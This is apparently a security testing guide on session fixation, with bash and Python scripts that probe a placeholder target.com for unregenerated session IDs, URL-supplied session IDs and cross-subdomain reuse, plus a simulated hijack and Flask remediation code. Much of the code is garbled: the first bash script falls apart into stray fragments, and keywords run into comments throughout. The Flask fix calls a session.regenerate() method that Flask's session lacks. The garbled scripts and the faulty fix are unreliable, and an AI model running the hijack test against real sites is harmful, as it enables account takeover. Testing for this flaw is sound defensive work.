Session fixation is an attack where the attacker sets a user's session ID to a known value. When the victim authenticates, the attacker can hijack their session using the pre-set session ID. This occurs when the application doesn't regenerate the session ID after authentication, allowing the attacker to maintain access with the original session token.
What to Check
Session ID regeneration on login
Session ID regeneration on privilege change
Session ID acceptance from URL
Session ID acceptance from POST data
Cross-subdomain session fixation
Session adoption after authentication
How to Test
Step 1: Pre-Authentication Session Test
#!/bin/bash# Test if session ID changes after authentication
TARGET="https://target.com"# Get pre-auth sessionecho"=== Getting pre-auth session ==="
pre_session=$(curl -s -c - "$TARGET/" | grep -oP "SESSIONID=\K[^;]+")
echo"Pre-auth session: $pre_session"# Authenticate with the same sessionecho -e "\n=== Authenticating ==="
post_response=$(curl -s -c - -b "SESSIONID=$pre_session" \
-X POST "$TARGET/login" \
-d "username=testuser&password=testpass")
post_session=$(echo"$post_response" | grep -oP "SESSIONID=\K[^;]+")
[ -z ];
post_session=$(curl -s -c - -b | \
grep -oP )
[ == ];
-e
-e
echo
"Post-auth session: $post_session"
# Compare
if
"$post_session"
then
# Session might be in cookie jar, check again
"SESSIONID=$pre_session"
"$TARGET/dashboard"
"SESSIONID=\K[^;]+"
fi
if
"$pre_session"
"$post_session"
then
echo
"\n[VULN] Session fixation - ID not regenerated after login!"
else
echo
"\n[OK] Session ID regenerated after login"
fi
Step 2: Test Session ID in URL
#!/bin/bash# Test if application accepts session ID from URL
TARGET="https://target.com"
ATTACKER_SESSION="attacker_controlled_session_id"# Try to set session via URL
urls=(
"$TARGET/?SESSIONID=$ATTACKER_SESSION""$TARGET/?jsessionid=$ATTACKER_SESSION""$TARGET/;jsessionid=$ATTACKER_SESSION""$TARGET/login?session_id=$ATTACKER_SESSION"
)
for url in"${urls[@]}"; do
response=$(curl -s -c - "$url")
cookies=$(echo"$response" | grep -i "sessionid\|jsessionid")
ifecho"$cookies" | grep -q "$ATTACKER_SESSION"; thenecho"[VULN] Session accepted from URL: $url"fidone
Step 3: Test Cross-Subdomain Fixation
#!/bin/bash# Test cross-subdomain session fixation
MAIN_DOMAIN="target.com"
SUBDOMAIN="sub.target.com"# Get session from subdomain
sub_session=$(curl -s -c - "https://$SUBDOMAIN/" | grep -oP "SESSIONID=\K[^;]+")
echo"Subdomain session: $sub_session"# Check if session works on main domain
response=$(curl -s -b "SESSIONID=$sub_session""https://$MAIN_DOMAIN/dashboard")
ifecho"$response" | grep -qi "authenticated\|dashboard"; thenecho"[VULN] Cross-subdomain session sharing detected"fi
Step 4: Session Fixation Attack Simulation
#!/usr/bin/env python3import requests
import time
classSessionFixationTester:
def__init__(self, base_url):
self.base_url = base_url
self.attacker_session = Noneself.findings = []
deftest_basic_fixation(self, login_endpoint, credentials):
"""Test basic session fixation vulnerability"""print("[*] Testing basic session fixation...")
# Step 1: Attacker gets a session
attacker = requests.Session()
attacker.get(self.base_url)
# Get attacker's session IDfor cookie in attacker.cookies:
if'session'in cookie.name.lower():
self.attacker_session = cookie.value
print(f"[*] Attacker session: {self.attacker_session[:20]}...")
breakifnotself.attacker_session:
print("[!] No session cookie found")
return# Step 2: Simulate victim using attacker's session
victim = requests.Session()
victim.cookies.set('SESSIONID', self.attacker_session)
# Step 3: Victim authenticates
login_response = victim.post(
f"{self.base_url}{login_endpoint}",
data=credentials
)
# Step 4: Get victim's post-auth session
victim_post_session = Nonefor cookie in victim.cookies:
if'session'in cookie.name.lower():
victim_post_session = cookie.value
break# Step 5: Check if session changedif victim_post_session == self.attacker_session:
print("[VULN] Session fixation vulnerability!")
print(" Session ID not regenerated after login")
self.findings.append({
"type": "session_fixation",
"severity": "High",
"description": "Session ID unchanged after authentication"
})
# Step 6: Verify attacker can access victim's sessionself._verify_session_hijack()
else:
print("[OK] Session regenerated after login")
print(f" New session: {victim_post_session[:20]}...")
returnself.findings
def_verify_session_hijack(self):
"""Verify attacker can hijack the fixed session"""print("[*] Verifying session hijacking...")
attacker_test = requests.Session()
attacker_test.cookies.set('SESSIONID', self.attacker_session)
response = attacker_test.get(f"{self.base_url}/dashboard")
if response.status_code == 200and'login'notin response.url.lower():
print("[VULN] Attacker can access authenticated session!")
self.findings.append({
"type": "session_hijack_verified",
"severity": "Critical",
"description": "Attacker successfully hijacked authenticated session"
})
else:
print("[INFO] Session hijack not verified")
deftest_url_session(self):
"""Test session ID in URL"""print("\n[*] Testing session ID in URL...")
test_session = "attacker_session_12345"
url_patterns = [
f"{self.base_url}/?SESSIONID={test_session}",
f"{self.base_url}/?jsessionid={test_session}",
f"{self.base_url}/;jsessionid={test_session}",
f"{self.base_url}/?PHPSESSID={test_session}",
]
for url in url_patterns:
try:
session = requests.Session()
response = session.get(url)
for cookie in session.cookies:
if test_session in cookie.value:
print(f"[VULN] Session accepted from URL: {url}")
self.findings.append({
"type": "url_session",
"severity": "High",
"url": url
})
breakexcept Exception as e:
passreturnself.findings
deftest_privilege_escalation_fixation(self, escalation_endpoint):
"""Test session regeneration on privilege change"""print("\n[*] Testing session on privilege change...")
session = requests.Session()
session.get(self.base_url)
pre_session = Nonefor cookie in session.cookies:
if'session'in cookie.name.lower():
pre_session = cookie.value
break# Trigger privilege change
session.post(f"{self.base_url}{escalation_endpoint}")
post_session = Nonefor cookie in session.cookies:
if'session'in cookie.name.lower():
post_session = cookie.value
breakif pre_session == post_session:
print("[VULN] Session not regenerated on privilege change")
self.findings.append({
"type": "privilege_fixation",
"severity": "Medium",
"description": "Session unchanged after privilege change"
})
returnself.findings
# Usage
tester = SessionFixationTester("https://target.com")
tester.test_basic_fixation("/login", {"username": "test", "password": "test"})
tester.test_url_session()
Tools
Tool
Description
Usage
Burp Suite
Session analysis
Compare pre/post auth sessions
OWASP ZAP
Automated testing
Session fixation scanner
Browser DevTools
Cookie monitoring
Observe session changes
Remediation Guide
1. Session Regeneration on Login
from flask import session
import secrets
@app.route('/login', methods=['POST'])deflogin():
username = request.form['username']
password = request.form['password']
if authenticate(username, password):
# CRITICAL: Regenerate session ID after authentication
session.clear()
session.regenerate() # Or create new session# Set authenticated user
session['user_id'] = user.id
session['authenticated'] = Truereturn redirect('/dashboard')
return render_template('login.html', error='Invalid credentials')
# Flask-Login examplefrom flask_login import login_user
@app.route('/login', methods=['POST'])deflogin():
if authenticate(username, password):
# flask-login regenerates session by default
login_user(user)
return redirect('/dashboard')